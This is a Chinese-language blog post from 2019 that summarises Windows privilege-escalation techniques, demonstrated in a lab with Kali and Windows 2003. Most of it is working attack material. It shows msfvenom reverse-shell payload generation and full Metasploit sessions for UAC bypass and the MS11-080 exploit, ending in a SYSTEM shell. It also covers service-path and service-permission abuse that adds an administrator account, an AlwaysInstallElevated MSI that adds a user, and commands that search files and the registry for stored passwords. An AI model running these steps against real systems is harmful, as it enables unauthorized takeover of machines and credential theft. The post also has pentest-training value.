windows提权总结

总之岁月漫长,然而值得等待。

——村上春树 《如果我们的语言是威士忌》


常识提权总结

提权前奏

windows下的权限:

- user
    - administrator
        - system

windows认证过程:

https://wenku.baidu.com/view/cf2ee127a5e9856a56126017.html

windows 2k3、xp

唔,现在03的机器已经很少了,所以现在只是简单的说一些常见的思路,操作,第三方之类的除外

实验环境:

windows 2k3:192.168.0.105
kali : 192.168.0.107

首先生成个木马:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe

msf反弹

查看当前权限

2k3可以尝试直接 getsystem进行提取

失败

一般可能是uac问题,常识bypass uac

use exploit/windows/local/ask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > show options

Module options (exploit/windows/local/ask):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)


Exploit target:

Id Name
-- ----
0 Windows


msf5 exploit(windows/local/ask) > set SESSION 2
SESSION => 2
msf5 exploit(windows/local/ask) > set TECHNIQUE up.exe
[-] The following options failed to validate: Value 'up.exe' is not valid for option 'TECHNIQUE'.
TECHNIQUE => EXE
msf5 exploit(windows/local/ask) > set TECHNIQUE EXE
TECHNIQUE => EXE
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set lhost 192.168.0.107
lhost => 192.168.0.107
msf5 exploit(windows/local/ask) > show options

Module options (exploit/windows/local/ask):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION 2 yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.107 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Windows


msf5 exploit(windows/local/ask) > sessions -i

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107:4444 -> 192.168.0.105:1032 (192.168.0.105)
2 meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107:4444 -> 192.168.0.105:1033 (192.168.0.105)

msf5 exploit(windows/local/ask) > exploit

[*] Started reverse TCP handler on 192.168.0.107:4444
[+] UAC is not enabled, no prompt for the user
[*] Uploading VerOkoVbPk.exe - 73802 bytes to the filesystem...
[*] Executing Command!

或者

  • use exploit/windows/local/bypassuac
  • use exploit/windows/local/bypassuac_injection

使用漏洞提权

1
2
3
4
5
6
7
8
9
10
meterpreter > run post/windows/gather/enum_patches

[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1

以ms11-080为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf5 > use exploit/windows/local/ms11_080_afdjoinleaf 
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > show options

Module options (exploit/windows/local/ms11_080_afdjoinleaf):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.


Exploit target:

Id Name
-- ----
0 Automatic


msf5 exploit(windows/local/ms11_080_afdjoinleaf) > set SESSION 2
SESSION => 2
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > run

[*] Started reverse TCP handler on 192.168.0.107:4444
[*] Running against Windows Server 2003 SP2
[*] HaliQuerySystemInformation Address: 0x80a6ba1e
[*] HalpSetSystemInformation Address: 0x80a6dc60
[*] Triggering AFDJoinLeaf pointer overwrite...
[*] Injecting the payload into SYSTEM process: winlogon.exe
[*] Sending stage (179779 bytes) to 192.168.0.105
[*] Restoring the original token...
[*] Meterpreter session 3 opened (192.168.0.107:4444 -> 192.168.0.105:1035) at 2019-05-13 21:26:33 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

at命令提权

在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将
Administrators 组下的用户权限提升到 SYSTEM

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的
定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、
可以是一个二进制文件。

语法:at 时间 命令

例子:at 10:45PM calc.exe

该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。

我们可以通过 “/interactive”开启界面交互模式:

at 10:45PM /interactive calc.exe

在得到一个system的cmd之后,使用taskmgr命令调用任务管理器,此时的
任务管理器是system权限,然后kill掉explore进程,再使用任务管理器
新建explore进程,将会得到一个system的桌面环境

at 配合 msf提权

可以采用 Regsvr32 一条命令上线

msf下配置

cmd下执行

等待上线

可是这里一般会出现问题..

然后我们也可以选择上线木马的方式来获取shell

等待上线

上线后为system

windows 7、8、08、12、16

sc命令提权(administrator–>system)

ps:经测试03也可以。

关于sc命令:

SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

sc Create syscmd binPath= “cmd /K start” type= own type= interact

这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务

然后执行

sc start systcmd,就得到了一个system权限的cmd环境

不带引号的服务路径

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:

Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引号中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:

1
2
3
4
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe

我们可以使用以下命令查看错误配置的路径

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

假如存在漏洞路径,我们可以将msf木马放到我们的c盘下,然后重启机器,此时,反弹回来的shell,则是一个system的shell

此外msf下已经集成了该模块(exploit/windows/local/trusted_service_path )

不过不太好用…..

不安全的服务权限

即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。

AccessChk工具可以用来查找用户可以修改的服务:

accesschk.exe -uwcqv “Authenticated Users” * /accepteula

accesschk.exe -uwcqv “user” *

sc命令也可以

sc qc “Service”

找到有权限修改的服务后使用以下命令:

sc config PFNET binpath= “net user rottenadmin P@ssword123! /add”

sc stop PFNET

sc start PFNET

每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。

或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。

电脑重启时即可获得一个system的shell

msf也集成了该类模块

exploit/windows/local/service_permissions

同样不好用。

AlwaysInstallElevated

AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
可以通过查询以下注册表项来识别此设置:

1
2
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

使用reg query命令查询是否存在漏洞

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

or

C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果存在漏洞,上面将输出以下内容

如果系统没这个漏洞,它将输出错误

1
2
3
C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.

然后我们使用msfvenom生成msi文件,进行提权

msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi

然后使用

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi

即可

msf下的模块为:

exploit/windows/local/always_install_elevated

Unattended Installs

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。

全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

1
2
3
4
C:\Windows\Panther\ 
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c

或者在名称中包含关键词的项目:

C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*

或者可以在文件内容中搜索password之类的关键字:

C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

可以查询注册表,例如,字符串password:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。

msf模块(post/windows/gather/enum_unattend )

写在后面

唔,今天是5.20了,文章也断断续续写了一周,里面内容或许比较基础,还有许多像注册表、组策略之类的提权方式没有提出,但是,我只想说:祝天下所有的情侣都是失散多年的兄妹….

本文标题:windows提权总结

文章作者:冷逸

发布时间:2019年05月13日 - 21:05

最后更新:2019年05月20日 - 19:05

原始链接:https://lengjibo.github.io/windows提权总结/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------The End-------------
坚持原创技术分享,您的支持将鼓励我继续创作!